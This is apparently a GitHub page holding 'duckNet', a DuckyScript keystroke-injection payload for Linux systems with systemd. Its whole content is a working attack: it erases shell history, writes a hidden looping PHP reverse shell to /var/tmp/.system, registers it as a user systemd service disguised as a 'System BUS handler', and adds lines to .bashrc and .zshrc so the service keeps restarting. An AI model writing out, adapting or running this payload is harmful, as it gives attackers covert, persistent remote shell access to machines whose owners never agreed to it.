-
Notifications
You must be signed in to change notification settings - Fork 2
/
payload
50 lines (45 loc) · 1.74 KB
/
payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
REM Title: duckNet
REM Description: Create, Encode, Inject, Spread your duckNet and manage it using duckNetManager.
REM AUTHOR: drapl0n
REM Version: 1.0
REM Category: Remote Access
REM Target: Unix-like operating systems with systemd.
REM Attackmodes: HID
REM [keeping tracks clear]
DELAY 500
CTRL-ALT t
DELAY 400
STRING unset HISTFILE && HISTSIZE=0 && rm -f $HISTFILE && unset HISTFILE
ENTER
DELAY 100
REM [creating reverse shell]
STRING mkdir /var/tmp/.system
ENTER
DELAY 100
STRING echo -e "while :\ndo\n\tping -c 5 0.0.0.0\n\tif [ $? -eq 0 ]; then\n\t\tphp -r '\$sock=fsockopen(\"0.0.0.0\",4444);exec("\"/bin/sh -i "<&3 >&3 2>&3"\"");'\n\tfi\ndone" > /var/tmp/.system/systemBus
ENTER
DELAY 100
STRING chmod +x /var/tmp/.system/systemBus
ENTER
DELAY 100
REM [creating non-root systemd service]
STRING mkdir -p ~/.config/systemd/user
ENTER
DELAY 100
STRING echo -e "[Unit]\nDescription= System BUS handler\n\n[Service]\nExecStart=/bin/bash /var/tmp/.system/systemBus -no-browser\nRestart=on-failure\nSuccessExitStatus=3 4\nRestartForceExitStatus=3 4\n\n[Install]\nWantedBy=default.target" > ~/.config/systemd/user/systemBUS.service
ENTER
DELAY 100
REM [enabling service]
STRING systemctl --user daemon-reload
ENTER
STRING systemctl --user enable --now systemBUS.service
ENTER
STRING systemctl --user start --now systemBUS.service
ENTER
DELAY 100
REM [autostarting service on terminal/shell launch]
STRING echo -e "ls -a | grep 'zshrc' &> /dev/null\nif [ $? = 0 ]; then\n\techo systemctl --user enable --now systemBUS.service >> ~/.zshrc\nfi\n\nls -a | grep 'bashrc' &> /dev/null\nif [ $? = 0 ]; then\n\techo systemctl --user enable --now systemBUS.service >> ~/.bashrc\nfi\n\n" > ~/tmmmp
ENTER
DELAY 50
STRING chmod +x ~/tmmmp && cd ~/ && ./tmmmp && rm tmmmp && exit
ENTER